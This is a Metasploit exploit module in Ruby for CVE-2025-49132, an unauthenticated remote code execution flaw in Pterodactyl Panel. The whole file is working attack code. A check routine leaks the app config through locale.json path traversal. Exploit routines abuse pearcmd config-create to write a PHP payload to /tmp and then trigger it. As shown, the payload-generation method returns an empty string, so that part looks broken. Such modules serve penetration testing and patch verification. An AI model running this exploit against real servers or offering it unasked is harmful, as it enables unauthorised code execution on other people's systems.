# frozen_string_literal: true ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Pterodactyl Panel CVE-2025-49132 Remote Code Execution', 'Description' => %q{ This module exploits a vulnerability in Pterodactyl Panel before version 1.11.11 that allows unauthenticated remote code execution through improper handling of locale file operations. The vulnerability exists in the locale.json endpoint which allows path traversal and arbitrary file creation. Code execution is in the context of the user running the webserver. The exploit leverages PEAR (PHP Extension and Application Repository) for command injection by creating a malicious payload file in the /tmp through path traversal, then executing it via PHP execution with pearcmd. }, 'Author' => [ '0xtensho', # Original PoC 'jheysel-r7', # MSF Module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2025-49132'], ['URL', 'https://github.com/0xtensho/CVE-2025-49132-poc'] ], 'Platform' => %w[unix linux], 'Targets' => [ [ 'Command Payload', { 'Arch' => ARCH_CMD, 'Type' => :cmd } ] ], 'Payload' => { 'BadChars' => "\x20\x27", 'EncoderType' => Msf::Encoder::Type::CmdPosixBase64 }, 'DisclosureDate' => '2025-06-19', 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [IOC_IN_LOGS], 'Reliability' => [] } ) ) register_options( [ OptString.new('TARGETURI', [true, 'The base path to the Pterodactyl instance', '/']), OptString.new('UPLOAD_DIR', [false, 'Upload directory (defaults to the default webroot in the docker instance)', '/tmp']), OptString.new('TRAVERSAL_PATH', [false, 'Traversal path (defaults to the default install location of php in the )', '/usr/local/lib/php']), OptInt.new('TRAVERSAL_DEPTH', [false, 'Number of ../ segments to use during path traversal (default: 5)', 5]), ] ) end def check # Try to detect the vulnerability by attempting a benign path traversal - this will not be accessible from a patched version res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'locales', 'locale.json?locale=../../&namespace=config/app') ) if res&.code == 200 json = res&.get_json_document if json.nil? || json.empty? return CheckCode::Unknown('Response did not contain a valid JSON document') end version = json.dig('../../', 'config/app', 'version') return CheckCode::Unknown('Response did not contain a valid version number') unless version rex_version = Rex::Version.new(version) if rex_version < Rex::Version.new('1.11.11') # Usually we return Appears for a version check but this version is only obtainable through exploiting # the vulnerability itself, so we can be confident that if we see this version, it's vulnerable return CheckCode::Vulnerable("Version found: #{version}") else # This code path should not be reachable in a patched version, but it's here just in case return CheckCode::Safe("Version found: #{version}") end elsif res&.code == 403 || res&.code == 404 # Path traversal is being blocked return CheckCode::Safe('Path traversal is being blocked') end CheckCode::Unknown('Non-200 response received, unable to determine vulnerability status') end def exploit payload_code = generate_encoded_payload filename = "#{Rex::Text.rand_text_alpha(10).downcase}.php" traversal_depth = '../' * datastore['TRAVERSAL_DEPTH'] upload_payload(payload_code, filename, traversal_depth) execute_payload(filename, traversal_depth) end def upload_payload(payload_code, filename, traversal_depth) upload_dir = datastore['UPLOAD_DIR'] payload_file = File.join(upload_dir, filename) print_status("Uploading payload file to #{payload_file}") traverse_path = "#{traversal_depth}#{datastore['TRAVERSAL_PATH'].sub(%r{^/}, '')}" first_url = build_exploit_url(traverse_path, filename, payload_code, upload_dir) print_status('Sending initial payload creation request...') res1 = send_request_cgi( 'method' => 'GET', 'uri' => first_url ) unless res1&.code == 200 fail_with(Failure::UnexpectedReply, "Failed to upload payload file, server responded with code: #{res1&.code || 'no response'}") end register_file_for_cleanup(payload_file) print_status("Initial request response code: #{res1.code}") end def execute_payload(filename, traversal_depth) print_status('Triggering payload execution...') url2 = build_execution_url(filename.sub(/\.php$/, ''), traversal_depth) res2 = send_request_cgi( 'method' => 'GET', 'uri' => url2 ) if res2 print_warning('The module received a response from the server, which may indicate the payload did not execute as expected') end end def generate_encoded_payload "" end def build_exploit_url(traverse_path, filename, payload, upload_dir) base_path = normalize_uri(target_uri.path, 'locales', 'locale.json') url = "#{base_path}?+config-create+/&locale=#{traverse_path}&namespace=pearcmd&/#{payload}+/#{upload_dir}/#{filename}" vprint_status("Exploit URL: #{url}") url end def build_execution_url(filename_base, traversal_depth) base_path = normalize_uri(target_uri.path, 'locales', 'locale.json') url = "#{base_path}?locale=#{traversal_depth}#{datastore['UPLOAD_DIR']}&namespace=#{filename_base}" vprint_status("Execution URL: #{url}") url end end